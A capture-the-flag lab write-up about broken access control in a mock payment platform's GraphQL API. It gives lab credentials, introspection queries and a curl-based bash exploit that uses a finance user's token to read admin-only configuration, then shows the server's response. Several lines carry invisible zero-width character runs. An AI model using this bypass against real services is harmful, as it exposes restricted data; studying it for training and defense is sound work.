Lab 290 — PayLedger — GraphQL Broken Access Control

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: authorization_bypass, broken_access_control, graphql_introspection, schema_enumeration

Summary

Task: Payment platform with GraphQL API and role-based access (admin/finance/viewer), given finance credentials. Solution: Used GraphQL introspection to discover admin-only queries, then exploited missing resolver-level authorization to access adminConfig containing the flag.

Lab 290 — PayLedger — GraphQL Broken Access Control — Hackadvisor

Description

PayLedger is a unified payment processing platform built by LedgerWave Inc. Merchants use it to process transactions, manage settlements, and track revenue through a powerful GraphQL-powered dashboard. The platform supports multiple user roles — admin, finance, and viewer — each intended to have different levels of access to the system's data and configuration. You have been given credentials for a finance team member. Your mission is to explore the application's API, understand how it handles authorization, and find a way to access data that should be restricted to administrators only.

Credentials: finance@payledger.io / FinanceUser2024! URL: https://513d53a5-1419-41f2-add3-e5b1f7abcb1a.labs.hackadvisor.io/ ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A payment processing platform with GraphQL API and three user roles (admin, finance, viewer). Given finance credentials, the goal is to access admin-restricted data by exploiting authorization flaws.

Analysis

1. GraphQL Endpoint Discovery:

   • Identified GraphQL endpoint at /graphql
   • Confirmed introspection is enabled (should be disabled in production)

2. Schema Enumeration via Introspection:

   • Queried __schema to enumerate all types and queries
   • Discovered sensitive types: User, Transaction, Merchant, Report, DashboardStats, SystemConfig, AuditEntry, AdminDashboard
   • Found admin-only query fields: adminUsers, adminConfig, adminAuditLog, adminDashboard ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

3. Vulnerability Identification:

   • The GraphQL schema exposes admin-only queries to all authenticated users
   • The resolvers do NOT enforce role-based authorization checks
   • Any authenticated user (finance, viewer) can query admin data
   • This is OWASP A01:2021 - Broken Access Control at the resolver level

Solution

 bash read-only • copy allowed Copy
#!/bin/bash
# Exploit for PayLedger GraphQL Broken Access Control

BASE="https://513d53a5-1419-41f2-add3-e5b1f7abcb1a.labs.hackadvisor.io"

# Step 1: Verify GraphQL introspection is enabled
echo "[*] Checking GraphQL introspection..."
curl -s "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { types { name } } }"}' | jq '.data.__schema.types[].name'
# Output includes: User, Transaction, AdminDashboard, SystemConfig...
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Enumerate all Query fields
echo "[*] Enumerating Query fields..."
curl -s "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -d '{"query":"{ __schema { queryType { fields { name } } } }"}' | jq '.data.__schema.queryType.fields[].name'
# Output: adminUsers, adminConfig, adminAuditLog, adminDashboard, transactions, merchants...

# Step 3: Authenticate as finance user
echo "[*] Logging in as finance user..."
curl -s -c cookies.txt -X POST "$BASE/login" \
  -d "email=finance@payledger.io&password=FinanceUser2024!" \
  -H "Content-Type: application/x-www-form-urlencoded"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract JWT token from cookies
TOKEN=$(cat cookies.txt | grep token | awk '{print $7}')
echo "[+] Got JWT token: $TOKEN"

# Step 4: Exploit - Query admin-only endpoint with finance token
echo "[*] Querying adminConfig with finance credentials..."
curl -s "$BASE/graphql" \
  -H "Content-Type: application/json" \
  -H "Cookie: token=$TOKEN" \
  -d '{"query":"{ adminConfig { key value description } }"}' | jq '.'

The server returned all admin configuration without authorization check:

 json read-only • copy allowed Copy
{
  "data": {
    "adminConfig": [
      {
        "key": "api_rate_limit",
        "value": "1000",
        "description": "API rate limit per minute"
      },
      {
        "key": "platform_secret_key",
        "value": "FLAG{REDACTED}",
        "description": "Internal platform secret — DO NOT EXPOSE"
      }
    ]
  }
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍